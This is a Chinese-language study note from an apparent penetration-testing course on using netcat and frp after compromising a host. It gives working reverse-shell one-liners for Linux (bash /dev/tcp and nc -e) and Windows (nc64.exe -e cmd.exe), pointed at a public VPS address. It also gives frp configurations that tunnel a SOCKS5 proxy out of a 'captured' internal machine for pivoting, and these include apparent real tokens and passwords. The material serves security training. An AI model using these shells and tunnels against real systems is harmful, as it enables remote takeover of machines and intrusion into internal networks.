0x01 netcat&frp
0x01 netcat&frp

0x01 netcat&frp

0x01 netcat&frp


一、netcat

1、netcat介绍

netcat 简称 nc,安全界叫它瑞士军刀。ncat 也会顺便介绍,弥补了 nc 的不足,被叫做 21 世纪的瑞士军刀。nc 的基本功能如下:

  • telnet / 获取系统 banner 信息
  • 传输文本信息
  • 传输文件和目录
  • 加密传输文件
  • 端口扫描
  • 远程控制 / 正方向 shell
  • 流媒体服务器
  • 远程克隆硬盘

2、netcat常用参数

  • -l: 开启监听
  • -p:指定端口
  • -t: 以telnet形式应答
  • -e:程序重定向
  • -n:以数字形式表示ip
  • -v:显示执行命令过程
  • -z : 不进行交互,直接显示结果
  • -u :使用UDP协议传输
  • -w : 设置超时时间

3、上课思路笔记

本次要讲解的是netcat的连接shell功能

正向shell:控制端主动发起连接去连接被控制端

反向shell:被控制端主动连接控制端在实战中,大多数采用反向shell,因为正向shell有很多因素导致连接失败,

比如说硬件设备有防火墙,入侵防御系统等,还有网站防火墙,端口占用,权限不足等场景,特别是硬件设备如果你正向连接被防火墙拦截导致打草惊蛇,后期攻击相当繁琐。

反向shell:而被控制端主动向外发送的数据包通常都不会被拦截。

1>反向shell

1)要反弹shell的系统为Linux
步骤

nc -lvvp 55555 #vps监听   (杭州vps公网ip :47.96.190.113 )

-l 监听

-v 显示更多信息 (两个v会更好一点)

-p 端口

没有nc命令的话就在vps上输入 yum -y install nc 先下载一下

#bash

/bin/bash -i >& /dev/tcp/xx.xx.xx.xx/1234 0>&1 #被控端反弹shell

注:tools上的payload有关于反弹shell的相关指令,有些Linux不支持bash,而是用sh,那就把/bin/bash改成/bin/sh即可

xx.xx.xx.xx/1234 : 要反弹shell到哪个vps的ip地址和端口,之前在杭州vps监听55555端口,那就这么写

/bin/bash -i >& /dev/tcp/47.96.190.113/55555 0>&1

又或者这么写

nc 47.96.190.113 55555 -e /bin/bash

没有nc命令的话一样得先yum -y install nc

成功将被攻陷的Linux服务器的shell反弹到自己的vps服务器的shell上
2)要反弹shell的系统为Windows
在Windows上就无法直接进行一个反弹shell了,只能在被攻陷的Windows服务器上上传一个nc进去,然后nc之间互相进行一个反弹

windows的nc下载地址 :https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip

在终端输入指令 : 

#先创建一个文件夹存放下载的压缩包

mkdir netcat

#进入该文件夹

cd netcat

#下载压缩包

curl -o "netcat-win32-1.12.zip" "https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip"

#在当前文件夹解压该压缩包

tar -zxvf netcat-win32-1.12.zip

#显示nc相关参数

nc64.exe -h

步骤

nc -lvvp 55555 #vps监听

(是Windows的vps的话下载完nc后的命令就是把nc改成nc64.exe,其他没变)

nc64.exe 192.168.0.190 55555 -e cmd.exe #反弹shell

192.168.0.190 55555 : 要反弹到服务端的地址和端口
这里在本地之间进行一个反弹shell的操作

开两个cmd,其中一个做服务端进行监听,另一个做客户端来反弹自身的shell到服务端

服务端

nc64.exe -lvvp 55555

image-20231130095655595

客户端

nc64.exe 127.0.0.1 55555 -e cmd.exe

image-20240618224725044

可以在服务端看到客户端的shell成功被反弹过来

image-20231130095843104

二、frp隧道

1、frp下载

https://github.com/fatedier/frp/releases

2、frp简介

  • frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。
  • 可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。

3、frp部署

  • 解压缩下载的压缩包,将其中的 frpc 拷贝到内网服务所在的机器上,
  • 将 frps 拷贝到具有公网 IP 的机器上,放置在任意目录。

4、frp优点

通过在具有公网 IP 的节点上部署 frp 服务端,可以轻松地将内网服务穿透到公网,同时提供诸多专业的功能特性,这包括:

  • 客户端服务端通信支持 TCP、KCP 以及 Websocket 等多种协议。
  • 采用 TCP 连接流式复用,在单个连接间承载更多请求,节省连接建立时间。
  • 代理组间的负载均衡。
  • 端口复用,多个服务通过同一个服务端端口暴露。
  • 多个原生支持的客户端插件(静态文件查看,HTTP、SOCK5 代理等),便于独立使用 frp 客户端完成某些工作。
  • 高度扩展性的服务端插件系统,方便结合自身需求进行功能扩展。
  • 服务端和客户端 UI 页面。

5、frp原理

  • frp 主要由 客户端(frpc) 和 服务端(frps) 组成

  • 服务端通常部署在具有公网 IP 的机器上

  • 客户端通常部署在需要穿透的内网服务所在的机器上

    内网服务由于没有公网 IP,不能被非局域网内的其他用户访问

    用户通过访问服务端的 frps,由 frp 负责根据请求的端口或其他信息将请求路由到对应的内网机器,从而实现通信

1

2

6、frp作业

1、将端口的流量转发出去

将本地端口流量转发出去,此处以将客户端本地的23333端口dvwa转发出去到服务端23331端口为例

image-20231130234156902

前提:服务端和客户端要能相互ping得通,也就是能互相访问才行

  • 服务端kali-Linux配置【ip:192.168.23.130】

frps.ini文件

[common]
bind_port = 7000       #服务端监听的端口

image-20231130233926206

输入命令 ./frps -c frps.ini

  • 客户端Windows10配置【ip:192.168.23.129】

frpc.ini文件

[common]   #这个名字不变
server_addr = 192.168.23.130    #服务端地址
server_port = 7000           #服务端监听的端口

[http_23333]    #名字任取
type = tcp      #协议类型
local_ip = 192.168.23.129    #要转发的本地ip地址(这里也可以直接写127.0.0.1)
local_port = 23333      #要转发的本地端口
remote_port = 23331     #要转发到的服务端的端口

#注:可以同时将多个端口转发,就譬如我再写一个

#[http_23334]  
#type = tcp      
#local_ip = 192.168.23.129  
#local_port = 23334     
#remote_port = 23332    

#这样也同时把客户端本地的23334端口也转发出去到服务端的23332端口,也就是说不止可以写一个,但是转发到服务端的端口不能冲突

输入命令 frpc.exe -c frpc.ini

10

在kali-Linux上进行访问

http://127.0.0.1:23331/login.php

因为转发到本地的端口了嘛

这个就相当于

http://192.168.23.130:23331/login.php

img

【在服务端访问127.0.0.1,也就是本地ip地址,将192.168.23.129:23333端口的流量转到服务端192.168.23.130的23331端口】

2、全局socks5(流量全部转发)

image-20231203131221751

  • 黑客PC端(个人主机)

Windows11【ip:192.168.0.190】

用户名和密码就是在攻陷主机配置的socks5连接账号和密码

让小狐狸挂上代理,也就是在浏览器上进行操作的流量都走这个代理

image-20231203115807437

  • vps云服务器

杭州vps【ip:47.96.190.113】

[common]
bind_port = 23340  
#服务端监听的端口
token = Wangyi1873065120*
#授权码

#dashboard_port = 23339
#管理端口
#dashboard_user = admin 
#登录管理端口的账号
#dashboard_pwd = password
#登录管理端口的密码

image-20231203132818392

  • 攻陷主机(内网主机)

Windows10【ip:192.168.23.129】

[common]
server_addr = 47.96.190.113    #服务端地址
server_port = 23340             #服务端监听的端口
token = Wangyi1873065120*   #客户端和服务端的token值要保持一致

#[http_23333]
#type = tcp
#local_ip = 127.0.0.1
#local_port = 23333
#remote_port = 23331

[socks5]
type = tcp 
plugin = socks5      #使用模块socks5
remote_port = 55555  #socks5端口  
plugin_user = wangyi  #socks5连接账号 
plugin_passwd = Aa@123456*    #socks5连接密码
use_encryption = true    #加密
use_compression = true   #加密

#注意:socks5有个弊端就是icmp协议是走不了我们这个socks的,那就只能用我注释掉的那个点对点的方式来传输了,还有就是没有设置socks5连接账号和密码和token的话就很容易被钓鱼,因此保险起见还是得需要设置一下账号密码和token

image-20231203133155030

试着在攻击端访问一下内网

image-20231203133449332

成功!

image-20231203134003069

云服务器上也会弹出许多日志信息

那如果要做到全局代理要怎么办呢?现在我们只能在浏览器上代理,然后把流量转过去

这时候我们就需要用到Proxifier这个工具

image-20231203134051959

步骤就是

配置文件->代理服务器->添加

image-20231203134745067

用户名就是之前在攻陷主机配置的socks连接的账号密码,怕忘记再贴过来回忆回忆

[socks5]
type = tcp 
plugin = socks5      #使用模块socks5
remote_port = 55555  #socks5端口  
plugin_user = wangyi  #socks5连接账号 
plugin_passwd = Aa@123456*    #socks5连接密码
use_encryption = true    #加密
use_compression = true   #加密

对应着填上去配置就行,然后点击检查

image-20231203134950797

代理是没有问题的

然后设置一下代理规则,也就是在配置文件那里

如果我们要设置全局代理的话就把Default改成我们刚才配置的代理,然后点击确定

image-20231203135132841

这时候我们的所有流量都会被代理过去,尝试访问一下百度试试

image-20231203135409601

可以发现多了很多的日志信息,说明了代理成功,不过网速有可能会很慢,因为socks的一个代理速度取决于公网服务器vps的带宽速度,如果想要更快响应的话就需要提升vps的带宽

然后之前云服务器不是有提到一个管理端口,这里也给贴过来回忆一下

[common]
bind_port = 23340  
#服务端监听的端口
token = Wangyi1873065120*
#授权码

dashboard_port = 23339
#管理端口
dashboard_user = admin  
#登录管理端口的账号
dashboard_pwd = password
#登录管理端口的密码

我们把23339设置成了管理端口,我们尝试登录一下

http://47.96.190.113:23339

输入账号admin,密码password成功登录

(登录界面是长这个样的,不过我忘记截图了,就把上课时候的画面截了出来,凑合着看)

image-20231203140732785

这个是我自己的

13

这就是frp的后台管理系统